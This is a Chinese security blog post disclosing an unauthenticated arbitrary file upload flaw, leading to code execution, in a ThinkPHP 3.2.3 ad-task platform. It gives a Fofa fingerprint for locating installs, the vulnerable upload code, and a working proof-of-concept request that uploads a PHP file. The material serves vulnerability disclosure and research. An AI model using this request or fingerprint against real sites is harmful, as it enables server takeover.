点击上方蓝字关注我们 并设为星标
0x00 前言
源码简介:本平台基于 Thinkphp3.2 框架精心打造,确保系统稳定、安全、高效运行。核心功能:第三方个人免签支付:无缝对接支付接口,支持微信、支付宝等多种支付方式,让交易更便捷。VIP 等级充值:提供不同等级的 VIP 会员服务,如钻石会员,享受更多特权和更高收益。
Fofa指纹:”/tpl/Public/js/func.js”
框架:ThinkPHP 3.2.3 Debug:True
0x01 漏洞分析
位于 /Home/Controller/IndexController.class.php 控制器的 ajax_upload 方法存在上传文件的操作,我们追踪一下.
/**
* webuploader 上传文件
*/
public function ajax_upload(){
// 根据自己的业务调整上传路径、允许的格式、文件大小
ajax_upload('/Uploads/images/');
}
实际继承自 /Common/Common/function.php 的 Ajax_upload 方法.
/**
* 上传文件类型控制 此方法仅限ajax上传使用
* @param string $path 字符串 保存文件路径示例:/Upload/image/
* @param string $format 文件格式限制
* @param integer $maxSize 允许的上传文件最大值 52428800
* @return booler 返回ajax的json格式数据
*/
function ajax_upload($path='file',$output_type=0,$subName='date',$format='empty',$maxSize='52428800'){
ini_set('max_execution_time', '0');
// 去除两边的/
$path=trim($path,'/');
// 添加Upload根目录
$path=strtolower(substr($path, 0,6))==='upload' ? ucfirst($path) : 'Upload/'.$path;
// 上传文件类型控制
$ext_arr= array(
'image' => array('gif', 'jpg', 'jpeg', 'png', 'bmp'),
'photo' => array('jpg', 'jpeg', 'png'),
'flash' => array('swf', 'flv'),
'media' => array('swf', 'flv', 'mp3', 'wav', 'wma', 'wmv', 'mid', 'avi', 'mpg', 'asf', 'rm', 'rmvb'),
'file' => array('doc', 'docx', 'xls', 'xlsx', 'ppt', 'htm', 'html', 'txt', 'zip', 'rar', 'gz', 'bz2','pdf')
);
if( $subName == 'date' ) {
$subName = array('date', 'Y-m-d'); //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组
}
if(!empty($_FILES)){
// 上传文件配置
$config=array(
'maxSize' => $maxSize, // 上传文件最大为50M
'rootPath' => './', // 文件上传保存的根路径
'savePath' => './'.$path.'/', // 文件上传的保存路径(相对于根路径)
'saveName' => array('uniqid',''), // 上传文件的保存规则,支持数组和字符串方式定义
'autoSub' => true, // 自动使用子目录保存上传文件 默认为true
'exts' => isset($ext_arr[$format])?$ext_arr[$format]:'',
'subName' => $subName, //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组
);
// p($_FILES);
// 实例化上传
$upload=new ThinkUpload($config);
// 调用上传方法
$info=$upload->upload();
// p($info);
$data=array();
if(!$info){
// 返回错误信息
$error=$upload->getError();
$data['error_info']=$error;
if( $output_type == 1 ) {
return json_encode($data);
} else {
echo json_encode($data);
}
}else{
// 返回成功信息
foreach($info as $file){
$data['name']=trim($file['savepath'].$file['savename'],'.');
$data['oldname']=$file['name'];
// p($data);
if( $output_type == 1 ) {
return $data['name'];
} else {
echo json_encode($data);
}
}
}
}
}
这里看起来限制了上传文件的后缀,实际去测根本没有任何限制…..
0x02 漏洞复现
POST /index.php/Home/index/ajax_upload HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 197
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCc7iBZFp1mvojsxn
Cookie: think_language=zh-CN; BJYADMIN=2150gjbkj92r835kg2dn9u9i75
Host: 127.0.0.1
Origin: http://127.0.0.1
Referer: http://127.0.0.1/index.php/Home/Index/index.html
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
------WebKitFormBoundary03rNBzFMIytvpWhy
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
phpinfo();
------WebKitFormBoundary03rNBzFMIytvpWhy--
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转,RCE
广告任务系统 源码关注公众号,发送 240921 获取.
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
原文始发于微信公众号(星悦安全):某最新微信广告任务平台存在任意文件上传漏洞(RCE)